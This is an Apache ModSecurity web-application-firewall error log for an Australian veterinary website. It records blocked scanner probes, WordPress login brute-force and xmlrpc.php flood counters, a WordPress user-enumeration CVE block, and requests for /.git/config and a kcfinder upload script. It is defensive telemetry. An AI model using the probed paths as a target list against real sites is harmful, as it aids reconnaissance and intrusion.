[Tue May 26 14:37:32.360843 2026] [:error] [pid 20125:tid 20134] [client 51.75.119.154:42980] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ahU_rNk9jeWERFDLJc4NwgAAAMc"]
[Tue May 26 14:37:34.866065 2026] [:error] [pid 20025:tid 20072] [client 51.75.119.154:55340] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ahU_rn7k8Vts-JPOkgWWMwAAAEc"]
[Tue May 26 14:37:37.332125 2026] [:error] [pid 39336:tid 39361] [client 51.75.119.154:55346] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ahU_sdwmp9MmyaRNgiA3uwAAAVY"]
[Tue May 26 14:45:22.214266 2026] [:error] [pid 39336:tid 39339] [client 43.128.69.143:40740] [client 43.128.69.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahVBgtwmp9MmyaRNgiA6ZAAAAUA"]
[Tue May 26 14:46:58.166885 2026] [:error] [pid 20025:tid 20079] [client 103.230.156.120:51748] [client 103.230.156.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.230.156.120, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVB4n7k8Vts-JPOkgWaQAAAAE4"]
[Tue May 26 14:46:59.431862 2026] [:error] [pid 20025:tid 20073] [client 103.230.156.120:51748] [client 103.230.156.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.230.156.120, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVB437k8Vts-JPOkgWaQwAAAEg"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 14:55:19.932472 2026] [:error] [pid 39336:tid 39348] [client 45.250.255.226:35278] [client 45.250.255.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.250.255.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVD19wmp9MmyaRNgiA-KgAAAUk"]
[Tue May 26 14:55:21.272052 2026] [:error] [pid 39336:tid 39354] [client 45.250.255.226:35278] [client 45.250.255.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.250.255.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVD2dwmp9MmyaRNgiA-LwAAAU8"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 14:56:20.947954 2026] [:error] [pid 20025:tid 20084] [client 37.60.246.58:42386] [client 37.60.246.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.60.246.58, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVEFH7k8Vts-JPOkgWfDgAAAFM"]
[Tue May 26 14:56:22.373628 2026] [:error] [pid 20025:tid 20072] [client 37.60.246.58:42386] [client 37.60.246.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.60.246.58, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVEFn7k8Vts-JPOkgWfFQAAAEc"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 15:09:09.938191 2026] [:error] [pid 20026:tid 20104] [client 1.145.26.143:2908] [client 1.145.26.143] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "223.83.70.249_b65d4251c8e62c95f917e0265d9e1c49a08ee7c5"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/n2.min.js"] [unique_id "ahVHEjXIXIr-5BZ8nR5e-AAAAIw"], referer: https://vetstars.com.au/
[Tue May 26 15:09:09.942649 2026] [:error] [pid 55988:tid 56007] [client 1.145.26.143:2912] [client 1.145.26.143] ModSecurity: collections_remove_stale: Failed deleting collection (name "SESSION", key "a45e3f48eaf51abc83e52a14fdae2862"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff2"] [unique_id "ahVHE_3kVIz2sql52schuAAAAQw"], referer: https://vetstars.com.au/
[Tue May 26 15:33:00.745483 2026] [:error] [pid 55988:tid 56001] [client 101.99.50.238:50002] [client 101.99.50.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 101.99.50.238, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVMrP3kVIz2sql52sct8gAAAQo"]
[Tue May 26 15:33:02.123411 2026] [:error] [pid 55988:tid 55995] [client 101.99.50.238:50002] [client 101.99.50.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 101.99.50.238, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVMrv3kVIz2sql52sct_gAAAQQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 15:39:34.044713 2026] [:error] [pid 20025:tid 20084] [client 52.142.35.96:3392] [client 52.142.35.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.142.35.96, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVONn7k8Vts-JPOkgW23QAAAFM"]
[Tue May 26 15:39:35.397553 2026] [:error] [pid 20025:tid 20069] [client 52.142.35.96:3392] [client 52.142.35.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.142.35.96, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVON37k8Vts-JPOkgW24QAAAEQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 16:16:52.435041 2026] [:error] [pid 20125:tid 20141] [client 45.79.189.31:45348] [client 45.79.189.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.79.189.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVW9Nk9jeWERFDLJc4njgAAAM4"]
[Tue May 26 16:16:53.729534 2026] [:error] [pid 20125:tid 20144] [client 45.79.189.31:45348] [client 45.79.189.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.79.189.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahVW9dk9jeWERFDLJc4nkAAAANE"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 16:37:39.953381 2026] [:error] [pid 55988:tid 56003] [client 35.232.39.24:62571] [client 35.232.39.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.39.24, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahVb0_3kVIz2sql52sdSbgAAAQw"]
[Tue May 26 16:37:43.099772 2026] [:error] [pid 55988:tid 56009] [client 35.232.39.24:62571] [client 35.232.39.24] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahVb1_3kVIz2sql52sdSdgAAARI"]
[Tue May 26 16:37:43.313679 2026] [:error] [pid 55988:tid 56001] [client 35.232.39.24:62571] [client 35.232.39.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.39.24, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahVb1_3kVIz2sql52sdSdwAAAQo"]
[Tue May 26 16:37:45.304513 2026] [:error] [pid 20024:tid 20058] [client 35.232.39.24:62583] [client 35.232.39.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.39.24, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahVb2Vdk7QtxEB93Npd9eQAAABQ"]
[Tue May 26 16:37:47.179972 2026] [:error] [pid 20025:tid 20069] [client 35.232.39.24:53317] [client 35.232.39.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.39.24, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahVb237k8Vts-JPOkgXIUQAAAEQ"]
[Tue May 26 16:37:49.088717 2026] [:error] [pid 55988:tid 56015] [client 35.232.39.24:57516] [client 35.232.39.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.39.24, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahVb3f3kVIz2sql52sdSiQAAARg"]
[Tue May 26 16:37:51.017859 2026] [:error] [pid 55988:tid 55994] [client 35.232.39.24:63881] [client 35.232.39.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.39.24, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahVb3_3kVIz2sql52sdSkQAAAQM"]
[Tue May 26 16:37:51.018005 2026] [:error] [pid 55988:tid 55994] [client 35.232.39.24:63881] [client 35.232.39.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.232.39.24, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahVb3_3kVIz2sql52sdSkQAAAQM"]
[Tue May 26 17:05:08.009394 2026] [:error] [pid 20025:tid 20082] [client 34.11.17.55:60851] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahViRH7k8Vts-JPOkgXPkwAAAFE"]
[Tue May 26 17:05:08.470917 2026] [:error] [pid 20024:tid 20051] [client 34.11.17.55:57830] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahViRFdk7QtxEB93NpeBrQAAAA0"]
[Tue May 26 17:05:08.906840 2026] [:error] [pid 55988:tid 55999] [client 34.11.17.55:58722] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feed/"] [unique_id "ahViRP3kVIz2sql52sdh2QAAAQg"]
[Tue May 26 17:27:39.994451 2026] [proxy_fcgi:error] [pid 32758:tid 32783] [client 103.172.76.24:52867] AH01067: Failed to read FastCGI header
[Tue May 26 17:27:39.994508 2026] [proxy_fcgi:error] [pid 32758:tid 32783] (104)Connection reset by peer: [client 103.172.76.24:52867] AH01075: Error dispatching request to : 
[Tue May 26 18:13:13.866524 2026] [:error] [pid 43701:tid 43725] [client 43.153.12.58:42612] [client 43.153.12.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahVyOYWtVI_UGrhtwKAg5gAAAVY"]
[Tue May 26 18:30:56.329415 2026] [:error] [pid 36497:tid 36519] [client 20.192.3.167:8064] [client 20.192.3.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "ahV2YLjKQWM1gBmBY4ifFgAAAMk"]
[Tue May 26 18:30:57.055402 2026] [:error] [pid 43701:tid 43703] [client 20.192.3.167:11302] [client 20.192.3.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "ahV2YYWtVI_UGrhtwKAruQAAAUA"]
[Tue May 26 18:30:57.691162 2026] [:error] [pid 33887:tid 33933] [client 20.192.3.167:7480] [client 20.192.3.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "ahV2YdCOI_FV7meOxGcF7wAAAI4"]
[Tue May 26 18:30:58.610350 2026] [:error] [pid 43701:tid 43712] [client 20.192.3.167:4478] [client 20.192.3.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "ahV2YoWtVI_UGrhtwKArvQAAAUk"]
[Tue May 26 18:44:22.724741 2026] [:error] [pid 33886:tid 33896] [client 65.108.2.171:15070] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ahV5hrBYzgp5rPVdHcV18QAAAEU"]
[Tue May 26 18:44:25.244752 2026] [:error] [pid 33888:tid 33955] [client 65.108.2.171:33838] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ahV5iTqzTeoxiinZsGHTagAAAQk"]
[Tue May 26 18:44:27.689044 2026] [:error] [pid 33977:tid 33999] [client 65.108.2.171:33846] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ahV5i-9cnSDNAU9sYPihZAAAABM"]
[Tue May 26 18:44:30.346978 2026] [:error] [pid 33886:tid 33905] [client 65.108.2.171:33856] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ahV5jrBYzgp5rPVdHcV19AAAAE4"]
[Tue May 26 18:44:32.789717 2026] [:error] [pid 36497:tid 36516] [client 65.108.2.171:33872] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ahV5kLjKQWM1gBmBY4ij6wAAAMY"]
[Tue May 26 18:44:35.382898 2026] [:error] [pid 36497:tid 36515] [client 65.108.2.171:47366] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahV5k7jKQWM1gBmBY4ij8AAAAMU"]
[Tue May 26 18:44:37.911855 2026] [:error] [pid 36497:tid 36512] [client 65.108.2.171:47376] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ahV5lbjKQWM1gBmBY4ij_QAAAMI"]
[Tue May 26 18:44:40.407159 2026] [:error] [pid 43701:tid 43717] [client 65.108.2.171:47386] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ahV5mIWtVI_UGrhtwKAykwAAAU4"]
[Tue May 26 18:44:42.920239 2026] [:error] [pid 36497:tid 36529] [client 65.108.2.171:47388] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahV5mrjKQWM1gBmBY4ikBgAAANM"]
[Tue May 26 18:44:45.536335 2026] [:error] [pid 43701:tid 43709] [client 65.108.2.171:54336] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahV5nYWtVI_UGrhtwKAymgAAAUY"]
[Tue May 26 18:44:48.040924 2026] [:error] [pid 36497:tid 36526] [client 65.108.2.171:54348] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ahV5oLjKQWM1gBmBY4ikFgAAANA"]
[Tue May 26 18:44:50.553744 2026] [:error] [pid 43701:tid 43710] [client 65.108.2.171:54356] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ahV5ooWtVI_UGrhtwKAypwAAAUc"]
[Tue May 26 18:44:53.058174 2026] [:error] [pid 36497:tid 36517] [client 65.108.2.171:54358] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ahV5pbjKQWM1gBmBY4ikHAAAAMc"]
[Tue May 26 18:44:55.619008 2026] [:error] [pid 43701:tid 43705] [client 65.108.2.171:54096] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ahV5p4WtVI_UGrhtwKAyuAAAAUI"]
[Tue May 26 18:44:58.127014 2026] [:error] [pid 33977:tid 33987] [client 65.108.2.171:54100] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ahV5qu9cnSDNAU9sYPihhQAAAAc"]
[Tue May 26 18:45:00.512106 2026] [:error] [pid 33886:tid 33915] [client 65.108.2.171:54108] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ahV5rLBYzgp5rPVdHcV2AwAAAFg"]
[Tue May 26 19:46:58.437867 2026] [:error] [pid 36497:tid 36516] [client 119.45.7.86:50084] [client 119.45.7.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahWIMrjKQWM1gBmBY4jIbQAAAMY"]
[Tue May 26 20:47:43.777368 2026] [:error] [pid 33888:tid 33964] [client 134.199.156.173:52610] [client 134.199.156.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "ahWWbzqzTeoxiinZsGEGZgAAARI"]
[Tue May 26 20:47:43.892285 2026] [:error] [pid 43701:tid 43718] [client 134.199.156.173:56584] [client 134.199.156.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "ahWWb4WtVI_UGrhtwKC16wAAAU8"]
[Tue May 26 21:04:03.385485 2026] [:error] [pid 43701:tid 43725] [client 170.64.238.42:52058] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahWaQ4WtVI_UGrhtwKDHnAAAAVY"]
